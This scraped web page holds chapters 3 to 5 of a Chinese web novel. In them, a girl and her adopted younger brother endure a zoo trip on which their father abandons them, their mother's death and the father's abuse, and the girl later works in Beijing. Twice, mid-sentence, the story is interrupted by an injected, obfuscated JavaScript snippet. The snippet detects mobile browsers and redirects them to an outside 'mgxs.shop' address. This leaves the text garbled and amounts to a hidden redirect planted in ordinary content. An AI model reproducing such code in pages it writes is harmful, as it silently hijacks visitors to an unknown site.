《她和弟弟》 3. 讨厌的动物园 蒋拂晓很黏蒋熹,其次是蒋母,最后是蒋父,但相较于蒋熹,蒋拂晓对待双亲的态度,可谓是不咸不淡。 蒋拂晓才四岁,还不到上小学的年纪,身高也比蒋熹矮上很多,所以他常常缠着蒋熹要抱抱。 每当蒋熹抱着软乎乎的弟弟出门,总会收获一堆关注。 蒋家住在一个小村子里,乡村嘛,有什么事,立刻十传百百传千,来来去去,附近几个村都知道了:蒋老师家领养了个漂亮的混血小男孩! 甚至有人慕名而来,就是为了看看“传说”中的混血男孩,毕竟在这个落后的小乡村,大学生都屈指可数,又能有几个人亲眼见过外国人。 每当引起围观,蒋拂晓都会缩到姐姐的怀里,害羞地将脸埋在姐姐胸口,蜷成一只柔软糯白的小团子。 这时,蒋熹就会自豪地说:“这是我弟弟,他好看吧。” 蒋父也觉得脸上特别有光,在学校他都有点趾高气昂的意思了。 自己带的班考不过别的班,隔壁班班主任比过他、晋升了,他奖金拿得没别人多,那又怎么样?这些算什么!他们家里有混血的孩子吗?没有自己,他们这辈子能亲眼见外国人吗? 比起自豪,蒋熹更感到高兴。 因为弟弟的到来,蒋家似乎争吵更少了,爸爸妈妈相处得更和谐了。虽然爸爸妈妈的爱被分走了,但自己终于能像别的小朋友那样,和爸爸妈妈一起,和气地享用一顿饭! 弟弟真好,他真是上天赐给我的宝贝!小小的蒋熹,总在内心这么想。 每当寒暑假结束,开学那几天,班上的同学们,总是三五成群,聚在一起聊自己在假期去哪玩了,看到什么新奇的东西了。 在这个物资匮乏、精神贫瘠的小村子,小朋友总是期待寒暑假的到来,特别是寒假。 因为会有大批在外务工的父母回到村子,带回来一些新奇的小玩意。 或许是一个橡胶鸭子、一块不走的手表、几颗包装漂亮的小糖果。 蒋熹的大叔叔在隔壁城市务工,听说是个有钱有势的人,在村里人眼里,他们蒋家出了个有出息的大人物。 爷爷奶奶还在世时,大叔叔每年都会回来过年,小雪豹玩偶就是大叔叔送给蒋熹的,这个小雪豹,可让蒋熹在同学间出了好久的风头! 但很快,这种风头就被另外一个同学抢走了:那个同学去过动物园! 什么!在大家连村都很少出的时候,已经有同学去过动物园了! 那个去过动物园的同学被里三层外三层地围住。 “动物园里有大象吗?真的和书上一样,长得那么大吗?”说话的同学张开双臂,比出一个很大的姿势。 “当然了,”去过动物园的同学骄傲地说,“长得可大了,比我们的教室还大!” “那大狗熊呢,你见过大狗熊吗?” “还有还有,长颈鹿,脖子很长的那个!” …… 蒋熹远离热闹,孤零零地坐在自己座位上写作业,表情看上去是那样的不在乎、不以为意,但其实她耳朵竖得高高的,每一个字都听得清清楚楚。 刚才她在把玩小雪豹时,有个同学说:“切,玩偶而已,见过真雪豹才叫厉害呢!” 蒋熹没说话,但她在内心反驳:“你连玩偶小雪豹都没有呢!” 她坐在座位上,用铅笔一下又一下戳着橡皮,心中暗想:“哼,这个暑假我也要去动物园!” 小孩子之间的攀比总是幼稚且纯真的。 蒋熹回到家,和妈妈说了这件事,但蒋母一脸为难。 蒋母作为家庭主妇,是个手心朝上的人,去一趟动物园,花销并不小,她没办法拍板。 蒋熹想让蒋母和蒋父沟通,她对于蒋父有一种天然的恐惧,父女之间的关系,总是生涩尴尬,就像熟悉的陌生人。 在一旁写作业的蒋拂晓听到了,主动请缨,他知道,蒋父对于他的要求,几乎有求必应。 晚上,蒋父回来,蒋拂晓提出今年暑假去动物园的请求,蒋父沉吟片刻,眼睛看看女儿,又看看儿子,最后,他思索了很久,答应了:“也好,拂晓是个男孩子,多见见世面总没错。” 蒋熹一听,立马来劲了,眉开眼笑地问:“我们全家都一起去吗?” 蒋父扫她一眼,低下头扒饭:“我们三个去就行,你妈留在家,家里不能没人。” 蒋熹愣住,她看眼笑容僵住的蒋母,小声辩驳:“可是,把家里门锁好就行了呀……” 蒋父“啧”一声,用筷子敲敲碗沿:“好了,吃饭,大人的事,小孩少插嘴!” 虽有不满,但迫于蒋父的权威,蒋熹闭上嘴,乖乖往嘴里扒饭,眼泪在眼眶打转。 等到去动物园的那天,蒋母站在家门口,冲三人挥手告别。 村子比较偏远,而且那个时候还没有通公交车,所以三人需要去村口的马路边,等待每天按时经过的客车。 蒋熹对蒋母无法一同前往略感遗憾,但去动物园的兴奋感已经冲淡了这股忧伤。 蒋父背上的背包里装着一些水和馒头,是蒋母给三人装上的,蒋熹则拉着同样兴奋的蒋拂晓,两个孩子在路边打打闹闹,空气中漂浮着无言的兴奋和愉悦,毕竟对于村里的孩子来说,别说去动物园,就是离开村子,都是少有的事情。 客车来了,上面坐满了人。 售票员倚靠在上车口,腰上挂着一个包包,里面塞满零钱。 大人的票价是五块,小孩半价。 每当大人带着小孩坐车,就免不了一顿拉扯。 大人会以“小孩坐在我腿上”为由,要求不给车票,售票员肯定不干啊,毕竟不管小孩坐哪,就算是坐在车顶上,车上也是多了一个孩子的重量啊。 然后就是一段漫长的拉扯,最后通常以给一块两块收场。 毕竟经过村子的客车就这么几辆,这些村民也是客车的常客,所以没必要搞那么难堪。 蒋父和司机认识,他先是和司机打个招呼,然后递给售票员七块五,蒋拂晓不用车票钱,他坐在蒋熹的腿上。 蒋熹搂紧腿上的弟弟,她看眼坐在身旁的父亲,蒋父眯着眼,准备小憩,她偏过头,指着窗外飞速闪过的景物,高兴地小声和弟弟说话,蒋拂晓则安稳地缩在姐姐怀里,咯咯直笑,说起来,这还是自蒋拂晓到蒋家后,第一次出门。 成人需要购买门票,孩子不用,三人顺利进入动物园。 狮子、老虎、大熊猫、黑熊、大蟒蛇还有小鹿,这些只能在书上看到动画形象的动物,活灵活现地出现在姐弟俩眼前,俩姐弟目不暇接,上一个惊呼声还来不及发出,下一个动物就已映入眼帘。 两孩子手拉手,高兴地手舞足蹈。 围栏后的小鹿,水润的圆眼睛,就这样萌萌地盯着姐弟俩,蒋拂晓眼馋地盯着其他小朋友手里拿着的黄色米花 这是动物园特供的,五块钱一袋,可以喂给小鹿吃,人也可以吃。 蒋拂晓眼巴巴地看着被黄色米花吸引走的小鹿,他刚进园就问过蒋父,可不可以买一袋,但被蒋父直接拒绝,感受到其他孩子递来的不友善、鄙夷的目光,蒋拂晓难堪地低下头。 倏然,身后的蒋熹戳戳他的肩膀,当他转头时,蒋熹变戏法般递给他一块米花:“喏,给你,你也去喂小鹿!” 蒋拂晓惊喜地接过:“哇,姐姐!你从哪来的?” 蒋熹骄傲地昂头:“哎呀,你别管我哪来的,你只管喂小鹿就行!” 蒋拂晓捏着米花,米花被手汗微微濡湿,他巴巴地望着姐姐:“可是只有一块,姐姐你怎么办?” 蒋熹小手一挥,颇有些豪气地说:“我不喜欢小鹿,你喂吧,别管我!” 蒋拂晓心安理得地转身,用黄色米花吸引小鹿。 身后的蒋熹则认真专注地盯着地面,努力地寻找第二块掉在地上的米花。 但事实证明,事与愿违,她不是每次都有这么好的运气,一直到快离开,她都没有发现第二块。 三人的午饭就是蒋父包里的馒头和水,景区的东西都是天价,普通人不敢在这里随便消费。 三人蹲坐在树荫下,分食馒头和水,旁边就是一个脏兮兮的小笼子,里面有几只小兔子,天气太热,它们怏怏地啃食沾了泥土的菜叶。 蒋熹盯着小兔子出了神,手里的馒头都忘记往嘴里送。 作为最受欢迎的大熊猫,它们有着黑白相间的皮毛和憨态可掬的姿态,它们身边总是堆满吃不完的干净的竹子,身边围满尖叫的人群和闪光灯,它们天生就是万众瞩目的大明星、动物界的宠儿。 同为动物,同是黑白配色,这群兔子却只能怏怏地啃食蔫巴脏兮兮的菜叶。 蒋熹心中有股奇异的感受,但她年纪太小,还形容不出这种感觉。 面前走过一家人,妈妈牵着小男孩的手,爸爸走在后面,笑眯眯地背着包,小男孩则舔着手中的冰激凌。 蒋拂晓正是嘴馋且无法自制的年纪,他指着那个男孩,对蒋熹说:“姐姐!冰激凌,我也想吃。” 那家人回过头,看了三人一眼。 蒋熹突觉脸上一阵红热,她连忙拦下蒋拂晓抬起的手指,轻声呵斥:“拂晓,这样不礼貌,别要求太多!” 相比姐姐的尴尬,一旁的蒋父脸上倒是云淡风轻,他站起身,拍拍裤子上的馒头屑:“拂晓想吃,就买一个吧。” 蒋熹抬头看父亲,太阳太刺眼,她几乎睁不开眼。 没错,她不能要求很多,但是蒋拂晓可以,蒋拂晓不是她。 路旁支起一个红色大伞,伞下一个阿姨守着一个冰柜,上面盖着棉被。 蒋父让蒋拂晓挑一个,蒋熹乖乖站在蒋父身边,蒋父将目光投向蒋熹:“小熹,你也去挑一个吧。” 蒋熹受宠若惊,她慢慢上前,学着蒋拂晓的样子,小小的身体探入冰柜,一股凉气迅速将她包裹,蒋熹近乎贪婪地呼吸着,但头顶的阿姨已经开始催促:“快点快点,冷气都快跑光了。” 蒋熹的小手在冰柜里慌张地翻着,最后挑了一个看起来最便宜的袋装小冰棍,蒋拂晓手上抓着的却是一个蓝莓味冰激凌。 蒋父从兜里掏出钱,开始点钱:“多少钱?” “十五。” “什么?”蒋父蹙眉,点钱的动作停下,“怎么这么贵?” 阿姨用下巴一指:“喏,冰激凌十二,冰棍三块,大热天的,而且把这东西弄进景区,成本不低呢,我就挣个辛苦钱。” 蒋父打量一番两孩子手上的东西,语气冰冷不容拒绝:“小熹,把冰棍放回去,当姐姐的,吃什么冰棍,不是小孩了。” 蒋熹错愕,刚才还处于兴奋的女孩,顿时跌入谷底,凉气从脚底往头上冒,比冰柜里的凉气更冷,蒋熹没顶嘴,没多余的动作,默默地将冰棍放回去。 她很伤心但不意外,心底好似早有预料,或者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414904|200732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,本就该如此。 蒋熹牵着弟弟,跟在父亲身后,准备将剩下的园区逛完,她偏头咽咽口水,尽量不去看弟弟手上的冰激凌。 其实她也没吃过冰激凌,她也还是个嘴馋的小孩,但她很有觉悟,自己是姐姐,要让着弟弟。 突然,一股又一股的冷气冒向蒋熹侧脸,香甜的气味钻入鼻子,她低头一看,蒋拂晓正费力地将冰激凌举到她嘴边:“姐姐吃,姐姐吃。” 冰激凌很甜,她咧开嘴,笑了。 下午,动物园逛完了,姐弟俩心满意足地跟着蒋父搭车离开。 他们照例等在路边,等客车经过。 天边大片的晚霞烂漫夺目,和远处的地平线相连,天地一线。 客车到了,蒋父熟练地数出七块五,递给售票员。 售票员撇眼:“不够,两个孩子,一共十块。” 蒋父抬眼看看售票员,他不认识,但他不想掏钱:“我儿子不占座位,我们就算两个人。” 售票员眼皮都不抬,这样的情况她见的多了去了,她声音懒懒地说:“要么下去一个人,要么把钱拿回去,你们三个都下去。你们不坐,有的是人要坐。” 售票员干脆利落地将七块五递回去,手中纸钞一甩一甩的。 蒋熹转头看看身后排着的长队。 游玩一天,现在正是回家的时候,要乘车的人多如牛毛,售票员还真看不上蒋父的这三瓜两枣。 售票员打了个哈欠,抖抖手中的纸钞:“快点啊,还有人等着上车呢。” 蒋熹慌了,这里离家还有几十里路呢,要是蒋父真不打算坐车,那他们三人就是走到第二天,都走不回去啊。 身后那些排队的人也看到前面的闹剧,人群中发出不耐的牢骚声,“哎呀,两块五还要拉拉扯扯,付不起就不要出来玩嘛!”“就是就是,自己丢人不说,还耽误别人!”“就是啊,没钱就让开啊,我们还要坐车呢!” 人群中的嘲弄声像一根根针,细细密密地扎进蒋熹心中,她脸臊红,她拽拽蒋父的衣角,小声道:“爸爸,我们坐车吧。” 蒋父正因被人拒绝难堪、火气不知道往哪撒呢,这下可好,蒋熹直接成为出气筒,他眼一瞪:“要不是你吵着要来动物园,能有这么多事吗!就知道图舒服坐车,不把老子的血汗钱当回事!赔钱货就是赔钱货!” 说完,他补了差价,动作粗鲁地攥着蒋熹细瘦的胳膊,往车后走,找位置坐下。 蒋熹的胳膊被拽的生疼,但她也只是眼泪湿了睫毛,忍气吞声,搂紧腿上的弟弟。 正是一两点的时刻,一天中最热的时候,车内又闷又热,夹杂着汗臭、体臭味,膝上还坐着蒋拂晓这个糯米团子,蒋熹数次觉得自己喘不上气了,她看看身侧睡得正熟的蒋父,小嘴嗫嚅两下,没说话。 幸好车上其他人吵着热,要开空调,司机才不情不愿地按开空调,蒋熹头上正好有个风口,一股冰爽的气息喷涌在她头顶,她缩缩脖子,将头埋在蒋拂晓脖颈处,半梦半醒时,她咂吧咂吧嘴,回味那个香甜的冰淇淋。 在距离家还有十几公里时,蒋父坐不住了,开始作妖找事。 他跑到售票员面前,大呼小叫、无理取闹地要求退还两块五,边和售票员大声争辩,边用手指头指着坐在蒋熹身上的蒋拂晓:“我儿子都没坐你座位,你凭啥收我钱!你这是胡乱收费,我要报警!” 整个车厢人的目光都聚集在三人身上,蒋熹将弟弟的头按进自己怀里,自己也低下头,不敢和别人对视。 她脑子很乱,不知道眼前是什么情况,只下意识地搂紧弟弟。 最后,售票员退了两块五给蒋父,三人也被赶下车。 可蒋父还不满足,他刚下车就愤愤不平地往前暴走,丝毫不管身后的两个小不点。 蒋熹牵着弟弟,在后面拼命赶,但大人一步顶小孩的三步,更何况她还带着蒋拂晓这个拖油瓶。 两人很快被甩在身后,看不见蒋父的身影了。 好在离家只有十几公里了,这条路没什么岔路,一直走就能到家,两个孩子不用担心会迷路。 蒋拂晓年纪小,体力很快就耗尽了,他一只手拉着姐姐的手,另一只手抓着姐姐的衣角。 他走在姐姐身后,盯着姐姐的背影,亦步亦趋,一直在追逐姐姐的脚步。 走到最后,天都黑了,路边草丛时不时传来几声虫鸣,偶尔有小动物穿梭而过的树叶窸窣声,每一个细微的声音都让两个孩子心惊胆战。 对于这个年纪的孩子来说,黑夜是吃孩子的怪兽,或许还有恐怖的鬼魂。 蒋拂晓实在走不动了,瘫在地上哭着不肯走。 蒋熹柔声安慰弟弟,脱下弟弟的鞋子,脚后跟已经破皮,她心疼地看着弟弟,随后咬紧牙关,让弟弟爬上自己的背。 蒋拂晓趴在姐姐瘦弱的背上,轻声啜泣:“姐姐,天黑了,我好害怕,我要回家。” 蒋熹背着弟弟,艰难迈步,她几乎没有说话的力气了:“没事,快到家了。” 哭着哭着,背上的小男孩就睡过去了,小脸上还挂着未干的泪痕。 静夜,隐约有蛙叫声,蒋熹麻木地往前走,脑子已经转不动了,思考不了任何事,心中独独一个念头:动物园一点都不好玩。 至于怎么回到家的,蒋熹没有印象了。 只记得她刚背着弟弟踏入家门,蒋母就哭着冲上来,蒋父冷眼站在一旁。 4.戛然而止的幸福 蒋母死了,出车祸死的。 那晚,已经天黑,她见丈夫独自回来,得知孩子还在外面,她顿时心急如焚,嚷着要喊人帮忙一起找孩子,但是被蒋父拦下来了。 蒋父嫌弃丢人,被外人知道自己为了两块五把两个孩子丢在路上,他以后还怎么做人?还怎么教书育人? 蒋母骂他心狠:“小熹不是我一个人生的,拂晓也是你要养的,平时你回到家就当大爷,孩子的事从来没有插过手,天天当甩手掌柜,我从来没有说过什么!现在为了你的什么狗屁脸面,竟然连孩子的命都不顾了吗!”蒋母嘶哑地哭喊,说完她就要冲出去。 蒋父被蒋母戳穿心事,顿时恼羞成怒,一把将蒋母推倒在地,劈脸一个响亮的巴掌,他压低声音恶狠狠地说:“今天,你别想走出这个门,他们是生是死,都是他们的命!” 蒋母无可奈何,捂着脸瘫在地上哭。 好在,两个孩子安全到家。 后来,蒋熹将一路的见闻都告诉了蒋母,见到了什么动物、大熊猫有多可爱、老虎有多威猛等等,还有那个分食的香甜冰淇淋,蒋熹没有提自己和弟弟一路走回来有多困难多害怕,她只说些她觉得有意思的事,她想让蒋母高兴。 蒋母没有笑,她全程沉默,特别是听到冰激凌的事,眼神很沉很暗,蒋熹很小就学会了看眼色,她立马亲昵抱上蒋母的胳膊:“妈妈,等我长大了,赚大钱,给你买好多好多的冰激凌,草莓味、橙子味、香蕉味、苹果味、芋头味、番茄味、白菜味,好多好多,多的你吃不完!” 蒋母勉强地笑笑,她搂着蒋熹,将头埋进女儿的脖颈。 一滴滴滚烫的眼泪几乎要烫伤蒋熹脖子上的皮肤。 蒋熹不知道妈妈为什么哭,自己明明已经很努力、绞尽脑汁讲出一些高兴的事了。 自从那天起,蒋母就不顾蒋父的阻挠,出门打零工了。 蒋母打零工后,照顾蒋拂晓的责任几乎都落到蒋熹头上。 当她和村里小伙伴玩得正起劲时,她会突然停下,依依不舍地和小伙伴告别,转身回家做饭。 明明还是撒尿和泥玩的年纪,蒋熹的小手已经拿得起饭勺和锅盖了。 蒋熹对此毫无怨言,甚至心甘情愿。 因为蒋母常会用打零工赚来的钱给姐弟俩买零嘴、衣服,甚至一些小玩意。 这些是蒋熹之前想都不敢想的。 但真剖开来看,蒋家真的困难到买不了零嘴、小玩意吗? 蒋父是村里的老师,相对来说,工作更轻松,薪资也稳定,高于村里人的平均收入,只是他不愿意给孩子们买,他常挂在嘴边一句话:“钱要花在刀刃上。” 还是个孩子的蒋熹并不明白这个“刀刃”具体是指什么,但她很清楚,孩子的零食和玩具,肯定不是“刀刃”。 一天下班,蒋父破天荒地带了根糖葫芦回家,只有一根,所以只能供蒋拂晓“独享”,这是蒋家不言而喻的“家规”。 蒋拂晓被蒋家人宠坏了,他不认为这是特权,但他知道姐姐没有。 所以在拿到糖葫芦的第一秒,蒋拂晓就迫不及待地用两只小手紧紧攥着糖葫芦的把,跑到蒋熹面前得瑟,这对于他来说,是很正常的撒娇。 如果是平常,蒋熹也就看着流流口水就过去了,可偏偏今天有门功课考砸了,蒋父将蒋熹狠狠训斥了一顿,这些负面情绪叠加起来,让还是个孩子的蒋熹崩溃大哭,撕心裂肺地哭,非要吃糖葫芦。 蒋拂晓慌了,立马把糖葫芦往姐姐嘴里送,一边送一边哭着说:“姐姐吃姐姐吃,姐姐不哭姐姐不哭。” 负面情绪瞬间点炸,蒋熹直接一把推倒蒋拂晓,将糖葫芦打掉在地:“我不要!你吃过了!我也要吃糖葫芦,爸爸偏心,爸爸偏心!” 蒋父看着火气蹭蹭往上冒,直接伸手一巴掌,这巴掌没有控制力度,直接将还是个孩子的蒋熹扇倒在地,一边的小脸瞬间红肿高高鼓起,蒋熹吓得不敢再哭,哽咽着往地上吐了口东西:两颗混着血的乳牙。 电视剧里,那些吐血的人就是快要死了,这可把蒋拂晓吓得够呛,他一下子扑到姐姐身上,哭嚎起来。 蒋父嫌烦,直接拎起蒋拂晓的衣领,将他丢在一边,还用手指着他,凶神恶煞道:“哭!再哭!再哭连你一起打!” 蒋拂晓吓得蜷缩在角落,他不知道,为什么稀松平常的事,今天会演变到这个局面。 最后还是蒋母出面收拾残局。 蒋母眼眶含泪,温柔地抱起蒋熹,给她端水漱口,找出冰块敷在肿胀的小脸上,然后用一贯的温柔细腻的声音说:“熹熹乖,妈妈这就去给熹熹买糖葫芦。” 这一去,就是永别。 大卡车碾压过蒋母的身体,蒋母当场毙命,连救护车都没有拨打,直接叫了殡仪馆的人来。 在殡仪馆,蒋父踹倒蒋熹,劈脸又是一巴掌,两侧小脸肿的一样高。 “扫把星!好好的家,就是被你给哭没了!!!” 这次,蒋熹没有哭,她静静地瘫在地上,双手撑在地面上,头颅低垂。 不光是这次没有哭,从蒋母被送去殡仪馆,一直到下葬,蒋熹都没有滴下一滴眼泪。 别人都说,这孩子心硬、凉薄、白眼狼,倒是领养来的孩子,哭得撕心裂肺。 直到舅舅、也就是蒋母的哥哥赶到,他一把将蒋熹搂进怀里,一个大男人就这样“呜呜”的哭起来。 蒋熹瘫软在舅舅怀里,哭得呼吸不上来:“舅舅……我没有妈妈了……” “小熹乖、小熹乖,以后舅舅照顾你,有舅舅在。” 一大一小,哭声好不凄惨。 蒋熹不是心硬,她是缺少一个属于她的怀抱。 蒋母走后,蒋父更加癫狂,蒋熹的日子更难过了。 他把蒋母的死归咎到蒋熹头上,他恨蒋熹。 碗里是不见荤腥的饭菜,衣服是破旧不堪的,甚至,一言不合就打蒋熹出气。 姐弟俩一直睡在一张床上 每当蒋熹白天挨打,晚上,姐弟俩就躲在被褥内,被褥被顶出两座小山丘,内里闷热到不能喘息。 蒋拂晓从枕头下掏出一瓶所剩无几的红花油,倒一点在手心,手心搓热,轻轻按压在蒋熹身上青紫的地方。 蒋熹吃痛出声,但怕吵醒隔壁的蒋父,又捂紧嘴巴。 “姐,你忍着点。”蒋拂晓揉着揉着,眼泪就下来了,反观蒋熹坚韧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17425521|200732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷静,好似被打的是蒋拂晓一般。 蒋熹侧头,似乎要转过来看蒋拂晓:“拂晓,等姐长大了,姐带你离开。” 手下的皮肤越来越热,蒋拂晓的心也越来越热,姐姐从不骗他,他相信她会带着自己一起离开这个噩梦般的家庭。 蒋母死后,那一大笔赔偿款,蒋父紧紧地捏在手里,他辞去工作,整日在家浑浑噩噩度日,酗酒赌博,样样沾。 照顾蒋拂晓的活,全部落到蒋熹头上。 她一边要兼顾学业,一边还要照顾弟弟、做家务。 蒋熹不觉得自己是个乐观积极的人,但看着还懵懂纯真的弟弟,她心疼,她必须挑起照顾家庭的重担。 她笨拙地学着母亲,饭菜放多少盐、衣服怎么晾晒、东西怎么摆放、什么时候给家人换牙刷,她尽量维持表面的和谐和稳定,但耐不住蒋父的咒骂。 蒋熹做得再多,在他眼里,都是个杀人犯。 后来,在中考中,她以绝对优势的分数进入重高,但学校在县里,而且没有住宿。 蒋父给蒋熹两个选择:要么换一所差点的寄宿学校,要么就别念了,出来打工嫁人。 蒋熹对于读书有种深入骨髓的执念,这份执念是蒋母亲手植下的。 蒋母年轻时,是十里八乡的美人,年轻的蒋父是她众多追求者中不起眼的一个。 偏偏蒋母因为自己没读过什么书、崇拜读书人,所以她放弃那些更有钱更温和的男人,毅然决然跟蒋父离开了。 婚后,由于蒋母没什么本领,加上要照顾家庭,她几乎变成了蒋父的附庸、照顾后院的工具。 所以,蒋母生下蒋熹后,日复一日地在女儿耳边叮嘱“要念书”“要学习”“要上大学”“不要依靠男人”。 现如今,要蒋熹放弃学业?那是不可能的,换个差点的学校?也不可能,学校教学水平,在很大程度上会影响学生的成绩,毕竟近朱者赤近墨者黑。 最后,在一场激烈到可以掀翻屋顶的争吵后,蒋熹带上她为数不多的行李,离开那个被称为“家”的地方。 蒋父没有拦她,倒是蒋拂晓死死扒在姐姐的腿上,眼泪鼻涕横流。 蒋熹忍着泪意,弯腰给弟弟最后一个拥抱,凑在弟弟耳边抖着嗓子:“等姐回来接你。” 随即她强逼自己无视弟弟的哭喊,一把推开他,大踏步离开。 心痛不舍又能怎样?她现在还是个孩子,自保都难,蒋拂晓留在蒋父身边,起码能混个饭饱。 身后传来热水壶翻倒和稚童惨叫的声音。 蒋拂晓本来正在笨拙地倒热水,看见姐姐拎着一个小小的行李包,立马冲上来了,热水壶就搁在一旁。 蒋熹脚步顿了顿,但她没有回头。 她清楚,一旦回头,就走不了了,她不要走妈妈的老路,不要一辈子都困在这个贫瘠的村子里。 不知怎么的,从踏出家门的第一步起,蒋熹就感受到一股莫大的轻松和释然,好似被圈养已久的小鸟终于获得自由,迫不及待地自由翱翔。 好似,蒋熹很早就做出这个决定了,直到今天,才真正实现。 即使吃不饱穿不暖又怎样?一只鸟的自由,是无价的。 5.打黑工 蒋熹在星予集团市场销售部上班,星予是一家高奢珠宝首饰公司,业内很有名气。 大学时,她读的金融类专业,大三凭借优秀的履历和强悍的实力,进入星予实习,毕业后也顺利留在星予。 一个22岁、从贫困乡村走出来的女大学生,凭借自己的能力,留在京城,这真是个励志的故事。 每个励志故事背后,都饱含凌晨的眼泪和经年累月的汗水。 蒋熹在工作上细心负责、雷厉风行,她的行事态度获得上司的赏识,上司对她多有提携,相比之下,她的私人感情真是一地鸡毛。 从山城回到京城,蒋熹就立刻投入工作,但闲暇之余,她又会想起那个男孩。 不知道他过得好不好,住在哪里,有没有饿肚子,会不会受欺负。 “前进的路上,不能被任何人拖后腿”,她深谙这个道理,却总会在入眠前、半梦半醒间忆起那双忧郁仇恨的蓝眸,其中恨意似淬了剧毒的冰箭,狠狠扎进她的心脏,每每此时,过往被压抑已久的痛苦回忆就如同滔天海啸,将岸边瑟瑟发抖的她狠狠拍落深海。 亦或是,在梦中,一个看不清脸的小男孩紧紧抱住她的胳膊,像是野河里致命的水草,也像是从地狱伸出的枯瘦鬼手,窒息又无解。 每每此刻,她只好捂着头疼欲裂的脑袋,服下安眠药,即便如此,也是噩梦连连。 也许,回去参加葬礼是个错误,她应该和过去彻底切断联系,但或许,她该从源头解决。 京城是个寸金寸土的地方,物价飘在天上,随便一套小户型的价格,都能够在二线城市拿下一套精装大平层。 这里是令无数追梦的年轻人心驰神往的地方,能在这里站稳脚跟是天大的荣耀。京城更是个聚宝盆,聚集了全国最优秀、最有野心的一帮年轻人。 你说你是金子,但京城遍地都是金子。 星予集团位于CBD,随处可见的都市丽人和精英绅士,要想融入这里,能力是硬件,着装气质是软件。 蒋熹不仅要应付京城的高物价,还要维持自身形象。 她的开支像一匹丝线精密的绸缎,一旦出现与前面不同的针脚,便会瞬间变得垮塌难看,从价值不菲的好丝绸变成一块好看的破抹布。 她的衣服不多,但每件都很有品位很有质感。她还会按时去保养头发、染发,以及一些简单的皮肤护理。 俗话说得好,人靠衣着马靠鞍,外形会给别人留下第一印象。 蒋熹过去的生活,很贫瘠很窘迫,所以她更加注意外形管理,掩饰长年累月形成的佝偻和自卑。 她的外形就是一棵经过仔细装饰的耀目缤纷圣诞树,但内里是潮湿腐朽的木心。 现在的经济形势就是,卷生卷死,剩者为王。 星予平时的工作量并不小,好在家大业大,且是个很有人文关怀的公司,双休,工作日外不加班。 蒋熹思来想去,决定周末回山城一趟,看看弟弟,给他捎点钱。 周一,刚刚双休回来,大多数人都没有什么精神,看起来都无精打采的,旁边工位的娜娜借力滑动椅子,溜到蒋熹身旁,故意凑到她耳边,鼻子埋进她的发丝,轻嗅她身上的铃兰味:“哎,小熹,晚上聚餐,你来不来?” 蒋熹侧目,推开娜娜的头,对她这一流氓行径表以拒绝:“有谁啊?” “就我们几个同事,可能会有人带朋友来,人很少。” 蒋熹微笑:“好啊,反正晚上没事。” 娜娜很高兴:“行,那你搭我车去,晚上送你回家。” 蒋熹答应下来,没过几秒,她又把视线从电脑屏幕移开:“娜娜,你要是真的很喜欢这个铃兰香护发精油,我可以把链接推你。” 娜娜嘿嘿一下:“才不要,还是直接闻你比较方便,我感觉你都被腌入味了,你就像个巨大的铃兰花!” 今晚不用加班,晚六点,几人聚在一个烧烤店。 几人围着烤架而坐,春节刚过,温度还没回升,几人边聊天边往外哈白气。 无烟碳在下面烧得红彤彤的,烤串滋滋冒油,香味迅速飘散,众人食指大动。 “哎,先介绍一下,这是我朋友,张鹏。”一个男同事介绍带来的朋友。 “你好你好。”其他人稀稀拉拉地表达友好。 男同事又道:“哎,我跟你们说,张鹏可是刑警,很厉害的。” “啊,真的吗?好厉害,平时经常会接触什么大案件吧?”娜娜问。 其余人也被吸引了兴趣,正在翻转香菇的蒋熹也好奇地望向男人。 张鹏摸摸下巴,眯眼思考:“最近好像没什么……哎还真有一件事,我们局最近破获一件黑砖窑的案子!” 娜娜咬着羊肉串,含糊不清地说:“嗯嗯,我听说过,那边是不是会抓一些智力障碍的人,然后去打黑工。” 另外一位男同事插嘴:“不止呢,不只是黑工,他们还虐待呢。” 张鹏点点头:“没错,但是不仅是智力障碍的人,还有一部分是无知的年轻人,甚至是一些十一二岁的孩子。” “七八个人住在一个四五平方的小黑屋,又脏又臭,没人管,吃的也是些汤汤水水的。” “那他们干体力活,怎么干得动啊?”娜娜皱眉,眼中满是不忍。 望着娜娜单纯的脸,张鹏叹口气:“那些所谓的老板可不管这些,他们限制人身自由,生病了也任其自生自灭,人死了,就再拐新人进来。” 说着,张鹏在网上找出一则新闻,将手机伸到中间,上面是一张图片。 几个衣衫褴褛的人缩在一个四面透风的破砖房,他们畏畏缩缩地待在角落,身上脏兮兮的,裸露的皮肤上还有新旧交叉的伤痕,眼神躲闪,大冬天的,穿着单薄的衣服,坐在稻草上。 看得众人沉默下来。 张鹏收回手机,他环顾四周,突然意识到自己的这个话题有些沉重,连忙打圆场:“好了好了,大家别垂头丧气的,我们人民警察可不是吃素的。” 那位男同事也跟着打圆场:“是啊是啊,吃肉吃肉,烤串都要烤成炭了!” 气氛再次活跃起来。 蒋熹却久久无法回神,直到身边的娜娜提醒她,手上的香菇要糊了,她浅笑着给香菇撒上调料。 将香菇分给其他人后,蒋熹掏出手机,点开订票软件,将周六的高铁票,改成周五晚上了。 在回到山城前,蒋熹先向舅舅打听了蒋拂晓的近况。 舅舅说他也不太清楚,自从那天蒋拂晓离开后,他就再也没见过了,只是听别人说过两句,好像是在县里一个小饭店打工。 于是,蒋熹拜托舅舅打听一下。 